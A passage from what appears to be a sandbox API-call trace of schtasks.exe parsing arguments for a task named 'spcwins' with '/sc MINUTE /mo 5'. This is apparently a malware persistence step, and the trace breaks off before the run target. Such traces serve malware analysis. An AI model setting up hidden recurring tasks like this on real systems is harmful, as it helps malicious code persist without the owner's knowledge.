4 [0130.694] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0130.694] SetLastError (dwErrCode=0x490) [0130.695] lstrlenW (lpString="query") returned 5 [0130.695] lstrlenW (lpString="query") returned 5 [0130.695] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.695] lstrlenW (lpString="tn") returned 2 [0130.695] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.695] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|query|") returned 7 [0130.695] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tn|") returned 4 [0130.695] lstrlenW (lpString="|query|") returned 7 [0130.695] lstrlenW (lpString="|tn|") returned 4 [0130.695] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0130.695] SetLastError (dwErrCode=0x490) [0130.695] lstrlenW (lpString="change") returned 6 [0130.695] lstrlenW (lpString="change") returned 6 [0130.695] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.695] lstrlenW (lpString="tn") returned 2 [0130.695] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.695] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|change|") returned 8 [0130.695] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tn|") returned 4 [0130.695] lstrlenW (lpString="|change|") returned 8 [0130.695] lstrlenW (lpString="|tn|") returned 4 [0130.695] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0130.695] SetLastError (dwErrCode=0x490) [0130.695] lstrlenW (lpString="run") returned 3 [0130.695] lstrlenW (lpString="run") returned 3 [0130.695] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.696] lstrlenW (lpString="tn") returned 2 [0130.696] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.696] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|run|") returned 5 [0130.696] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tn|") returned 4 [0130.696] lstrlenW (lpString="|run|") returned 5 [0130.696] lstrlenW (lpString="|tn|") returned 4 [0130.696] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0130.696] SetLastError (dwErrCode=0x490) [0130.696] lstrlenW (lpString="end") returned 3 [0130.696] lstrlenW (lpString="end") returned 3 [0130.696] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.696] lstrlenW (lpString="tn") returned 2 [0130.696] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.696] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|end|") returned 5 [0130.696] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tn|") returned 4 [0130.696] lstrlenW (lpString="|end|") returned 5 [0130.696] lstrlenW (lpString="|tn|") returned 4 [0130.696] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0130.696] SetLastError (dwErrCode=0x490) [0130.696] lstrlenW (lpString="showsid") returned 7 [0130.696] lstrlenW (lpString="showsid") returned 7 [0130.696] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.696] GetProcessHeap () returned 0x440000 [0130.696] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c2a0) returned 1 [0130.696] GetProcessHeap () returned 0x440000 [0130.696] RtlReAllocateHeap (Heap=0x440000, Flags=0xc, Ptr=0x45c2a0, Size=0x16) returned 0x45c2a0 [0130.697] lstrlenW (lpString="tn") returned 2 [0130.697] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.697] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|showsid|") returned 9 [0130.697] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tn|") returned 4 [0130.697] lstrlenW (lpString="|showsid|") returned 9 [0130.697] lstrlenW (lpString="|tn|") returned 4 [0130.697] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0130.697] SetLastError (dwErrCode=0x490) [0130.697] SetLastError (dwErrCode=0x490) [0130.697] SetLastError (dwErrCode=0x0) [0130.697] lstrlenW (lpString="/tn") returned 3 [0130.697] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0130.697] SetLastError (dwErrCode=0x490) [0130.697] SetLastError (dwErrCode=0x0) [0130.697] lstrlenW (lpString="/tn") returned 3 [0130.697] GetProcessHeap () returned 0x440000 [0130.697] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45c240 [0130.697] GetProcessHeap () returned 0x440000 [0130.697] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc50 [0130.697] SetLastError (dwErrCode=0x0) [0130.697] SetLastError (dwErrCode=0x0) [0130.697] lstrlenW (lpString="spcwins") returned 7 [0130.697] lstrlenW (lpString="-/") returned 2 [0130.697] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0130.697] SetLastError (dwErrCode=0x490) [0130.697] SetLastError (dwErrCode=0x490) [0130.697] SetLastError (dwErrCode=0x0) [0130.698] lstrlenW (lpString="spcwins") returned 7 [0130.698] StrChrIW (lpStart="spcwins", wMatch=0x3a) returned 0x0 [0130.698] SetLastError (dwErrCode=0x490) [0130.698] SetLastError (dwErrCode=0x0) [0130.698] lstrlenW (lpString="spcwins") returned 7 [0130.698] GetProcessHeap () returned 0x440000 [0130.698] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x10) returned 0x45c2d0 [0130.698] GetProcessHeap () returned 0x440000 [0130.698] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc80 [0130.698] SetLastError (dwErrCode=0x0) [0130.698] SetLastError (dwErrCode=0x0) [0130.698] lstrlenW (lpString="/sc") returned 3 [0130.698] lstrlenW (lpString="-/") returned 2 [0130.698] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.698] lstrlenW (lpString="?") returned 1 [0130.698] lstrlenW (lpString="?") returned 1 [0130.698] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.698] lstrlenW (lpString="sc") returned 2 [0130.698] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.698] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|?|") returned 3 [0130.698] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|sc|") returned 4 [0130.698] lstrlenW (lpString="|?|") returned 3 [0130.698] lstrlenW (lpString="|sc|") returned 4 [0130.698] SetLastError (dwErrCode=0x490) [0130.698] lstrlenW (lpString="create") returned 6 [0130.698] lstrlenW (lpString="create") returned 6 [0130.698] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.698] lstrlenW (lpString="sc") returned 2 [0130.699] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.699] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|create|") returned 8 [0130.699] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|sc|") returned 4 [0130.699] lstrlenW (lpString="|create|") returned 8 [0130.699] lstrlenW (lpString="|sc|") returned 4 [0130.699] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0130.699] SetLastError (dwErrCode=0x490) [0130.699] lstrlenW (lpString="delete") returned 6 [0130.699] lstrlenW (lpString="delete") returned 6 [0130.699] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.699] lstrlenW (lpString="sc") returned 2 [0130.699] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.699] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|delete|") returned 8 [0130.699] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|sc|") returned 4 [0130.699] lstrlenW (lpString="|delete|") returned 8 [0130.699] lstrlenW (lpString="|sc|") returned 4 [0130.699] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0130.699] SetLastError (dwErrCode=0x490) [0130.699] lstrlenW (lpString="query") returned 5 [0130.699] lstrlenW (lpString="query") returned 5 [0130.699] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.699] lstrlenW (lpString="sc") returned 2 [0130.699] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.699] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|query|") returned 7 [0130.699] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|sc|") returned 4 [0130.699] lstrlenW (lpString="|query|") returned 7 [0130.699] lstrlenW (lpString="|sc|") returned 4 [0130.699] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0130.700] SetLastError (dwErrCode=0x490) [0130.700] lstrlenW (lpString="change") returned 6 [0130.700] lstrlenW (lpString="change") returned 6 [0130.700] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.700] lstrlenW (lpString="sc") returned 2 [0130.700] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.700] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|change|") returned 8 [0130.700] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|sc|") returned 4 [0130.700] lstrlenW (lpString="|change|") returned 8 [0130.700] lstrlenW (lpString="|sc|") returned 4 [0130.700] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0130.700] SetLastError (dwErrCode=0x490) [0130.700] lstrlenW (lpString="run") returned 3 [0130.700] lstrlenW (lpString="run") returned 3 [0130.700] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.700] lstrlenW (lpString="sc") returned 2 [0130.700] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.700] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|run|") returned 5 [0130.700] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|sc|") returned 4 [0130.700] lstrlenW (lpString="|run|") returned 5 [0130.700] lstrlenW (lpString="|sc|") returned 4 [0130.700] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0130.700] SetLastError (dwErrCode=0x490) [0130.700] lstrlenW (lpString="end") returned 3 [0130.700] lstrlenW (lpString="end") returned 3 [0130.700] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.700] lstrlenW (lpString="sc") returned 2 [0130.701] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.701] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|end|") returned 5 [0130.701] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|sc|") returned 4 [0130.701] lstrlenW (lpString="|end|") returned 5 [0130.701] lstrlenW (lpString="|sc|") returned 4 [0130.701] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0130.701] SetLastError (dwErrCode=0x490) [0130.701] lstrlenW (lpString="showsid") returned 7 [0130.701] lstrlenW (lpString="showsid") returned 7 [0130.701] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.701] lstrlenW (lpString="sc") returned 2 [0130.701] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.701] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|showsid|") returned 9 [0130.701] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|sc|") returned 4 [0130.701] lstrlenW (lpString="|showsid|") returned 9 [0130.701] lstrlenW (lpString="|sc|") returned 4 [0130.701] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0130.701] SetLastError (dwErrCode=0x490) [0130.701] SetLastError (dwErrCode=0x490) [0130.701] SetLastError (dwErrCode=0x0) [0130.701] lstrlenW (lpString="/sc") returned 3 [0130.701] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0130.701] SetLastError (dwErrCode=0x490) [0130.701] SetLastError (dwErrCode=0x0) [0130.701] lstrlenW (lpString="/sc") returned 3 [0130.701] GetProcessHeap () returned 0x440000 [0130.701] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45c2f0 [0130.701] GetProcessHeap () returned 0x440000 [0130.701] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ccb0 [0130.701] SetLastError (dwErrCode=0x0) [0130.701] SetLastError (dwErrCode=0x0) [0130.702] lstrlenW (lpString="MINUTE") returned 6 [0130.702] lstrlenW (lpString="-/") returned 2 [0130.702] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0130.702] SetLastError (dwErrCode=0x490) [0130.702] SetLastError (dwErrCode=0x490) [0130.702] SetLastError (dwErrCode=0x0) [0130.702] lstrlenW (lpString="MINUTE") returned 6 [0130.702] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0130.702] SetLastError (dwErrCode=0x490) [0130.702] SetLastError (dwErrCode=0x0) [0130.702] lstrlenW (lpString="MINUTE") returned 6 [0130.702] GetProcessHeap () returned 0x440000 [0130.702] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45c310 [0130.702] GetProcessHeap () returned 0x440000 [0130.702] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cce0 [0130.702] SetLastError (dwErrCode=0x0) [0130.702] SetLastError (dwErrCode=0x0) [0130.702] lstrlenW (lpString="/mo") returned 3 [0130.702] lstrlenW (lpString="-/") returned 2 [0130.702] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.702] lstrlenW (lpString="?") returned 1 [0130.702] lstrlenW (lpString="?") returned 1 [0130.702] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.702] lstrlenW (lpString="mo") returned 2 [0130.702] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.702] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|?|") returned 3 [0130.702] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|mo|") returned 4 [0130.702] lstrlenW (lpString="|?|") returned 3 [0130.702] lstrlenW (lpString="|mo|") returned 4 [0130.702] SetLastError (dwErrCode=0x490) [0130.702] lstrlenW (lpString="create") returned 6 [0130.702] lstrlenW (lpString="create") returned 6 [0130.703] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.703] lstrlenW (lpString="mo") returned 2 [0130.703] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.703] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|create|") returned 8 [0130.703] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|mo|") returned 4 [0130.703] lstrlenW (lpString="|create|") returned 8 [0130.703] lstrlenW (lpString="|mo|") returned 4 [0130.703] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0130.703] SetLastError (dwErrCode=0x490) [0130.703] lstrlenW (lpString="delete") returned 6 [0130.703] lstrlenW (lpString="delete") returned 6 [0130.703] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.703] lstrlenW (lpString="mo") returned 2 [0130.703] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.703] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|delete|") returned 8 [0130.703] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|mo|") returned 4 [0130.703] lstrlenW (lpString="|delete|") returned 8 [0130.703] lstrlenW (lpString="|mo|") returned 4 [0130.703] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0130.703] SetLastError (dwErrCode=0x490) [0130.703] lstrlenW (lpString="query") returned 5 [0130.703] lstrlenW (lpString="query") returned 5 [0130.703] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.703] lstrlenW (lpString="mo") returned 2 [0130.703] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.703] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|query|") returned 7 [0130.703] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|mo|") returned 4 [0130.703] lstrlenW (lpString="|query|") returned 7 [0130.703] lstrlenW (lpString="|mo|") returned 4 [0130.703] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0130.703] SetLastError (dwErrCode=0x490) [0130.703] lstrlenW (lpString="change") returned 6 [0130.703] lstrlenW (lpString="change") returned 6 [0130.704] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.704] lstrlenW (lpString="mo") returned 2 [0130.704] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.704] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|change|") returned 8 [0130.704] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|mo|") returned 4 [0130.704] lstrlenW (lpString="|change|") returned 8 [0130.704] lstrlenW (lpString="|mo|") returned 4 [0130.704] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0130.704] SetLastError (dwErrCode=0x490) [0130.704] lstrlenW (lpString="run") returned 3 [0130.704] lstrlenW (lpString="run") returned 3 [0130.704] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.704] lstrlenW (lpString="mo") returned 2 [0130.704] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.704] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|run|") returned 5 [0130.704] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|mo|") returned 4 [0130.704] lstrlenW (lpString="|run|") returned 5 [0130.704] lstrlenW (lpString="|mo|") returned 4 [0130.704] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0130.704] SetLastError (dwErrCode=0x490) [0130.704] lstrlenW (lpString="end") returned 3 [0130.704] lstrlenW (lpString="end") returned 3 [0130.704] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.704] lstrlenW (lpString="mo") returned 2 [0130.704] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.704] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|end|") returned 5 [0130.721] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|mo|") returned 4 [0130.721] lstrlenW (lpString="|end|") returned 5 [0130.721] lstrlenW (lpString="|mo|") returned 4 [0130.721] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0130.721] SetLastError (dwErrCode=0x490) [0130.721] lstrlenW (lpString="showsid") returned 7 [0130.722] lstrlenW (lpString="showsid") returned 7 [0130.722] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.722] lstrlenW (lpString="mo") returned 2 [0130.729] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.729] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|showsid|") returned 9 [0130.729] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|mo|") returned 4 [0130.729] lstrlenW (lpString="|showsid|") returned 9 [0130.729] lstrlenW (lpString="|mo|") returned 4 [0130.729] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0130.729] SetLastError (dwErrCode=0x490) [0130.729] SetLastError (dwErrCode=0x490) [0130.729] SetLastError (dwErrCode=0x0) [0130.729] lstrlenW (lpString="/mo") returned 3 [0130.729] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0130.729] SetLastError (dwErrCode=0x490) [0130.729] SetLastError (dwErrCode=0x0) [0130.729] lstrlenW (lpString="/mo") returned 3 [0130.729] GetProcessHeap () returned 0x440000 [0130.729] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45c330 [0130.729] GetProcessHeap () returned 0x440000 [0130.729] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd10 [0130.729] SetLastError (dwErrCode=0x0) [0130.729] SetLastError (dwErrCode=0x0) [0130.729] lstrlenW (lpString="5") returned 1 [0130.729] SetLastError (dwErrCode=0x490) [0130.729] SetLastError (dwErrCode=0x0) [0130.729] lstrlenW (lpString="5") returned 1 [0130.730] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0130.730] SetLastError (dwErrCode=0x490) [0130.730] SetLastError (dwErrCode=0x0) [0130.730] lstrlenW (lpString="5") returned 1 [0130.730] GetProcessHeap () returned 0x440000 [0130.730] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x4) returned 0x45c350 [0130.730] GetProcessHeap () returned 0x440000 [0130.730] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd40 [0130.730] SetLastError (dwErrCode=0x0) [0130.730] SetLastError (dwErrCode=0x0) [0130.730] lstrlenW (lpString="/tr") returned 3 [0130.730] lstrlenW (lpString="-/") returned 2 [0130.730] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.730] lstrlenW (lpString="?") returned 1 [0130.730] lstrlenW (lpString="?") returned 1 [0130.730] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.730] lstrlenW (lpString="tr") returned 2 [0130.730] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.730] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|?|") returned 3 [0130.730] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tr|") returned 4 [0130.730] lstrlenW (lpString="|?|") returned 3 [0130.730] lstrlenW (lpString="|tr|") returned 4 [0130.730] SetLastError (dwErrCode=0x490) [0130.730] lstrlenW (lpString="create") returned 6 [0130.730] lstrlenW (lpString="create") returned 6 [0130.730] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.783] lstrlenW (lpString="tr") returned 2 [0130.783] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.783] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|create|") returned 8 [0130.783] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tr|") returned 4 [0130.783] lstrlenW (lpString="|create|") returned 8 [0130.783] lstrlenW (lpString="|tr|") returned 4 [0130.783] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0130.784] SetLastError (dwErrCode=0x490) [0130.784] lstrlenW (lpString="delete") returned 6 [0130.784] lstrlenW (lpString="delete") returned 6 [0130.784] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.784] lstrlenW (lpString="tr") returned 2 [0130.784] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.784] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|delete|") returned 8 [0130.784] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tr|") returned 4 [0130.784] lstrlenW (lpString="|delete|") returned 8 [0130.784] lstrlenW (lpString="|tr|") returned 4 [0130.784] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0130.784] SetLastError (dwErrCode=0x490) [0130.784] lstrlenW (lpString="query") returned 5 [0130.784] lstrlenW (lpString="query") returned 5 [0130.784] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.784] lstrlenW (lpString="tr") returned 2 [0130.784] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.784] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|query|") returned 7 [0130.784] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tr|") returned 4 [0130.784] lstrlenW (lpString="|query|") returned 7 [0130.784] lstrlenW (lpString="|tr|") returned 4 [0130.784] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0130.784] SetLastError (dwErrCode=0x490) [0130.784] lstrlenW (lpString="change") returned 6 [0130.784] lstrlenW (lpString="change") returned 6 [0130.784] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.785] lstrlenW (lpString="tr") returned 2 [0130.785] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.785] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|change|") returned 8 [0130.785] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tr|") returned 4 [0130.785] lstrlenW (lpString="|change|") returned 8 [0130.785] lstrlenW (lpString="|tr|") returned 4 [0130.785] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0130.785] SetLastError (dwErrCode=0x490) [0130.785] lstrlenW (lpString="run") returned 3 [0130.785] lstrlenW (lpString="run") returned 3 [0130.785] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.785] lstrlenW (lpString="tr") returned 2 [0130.785] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.785] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|run|") returned 5 [0130.785] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", 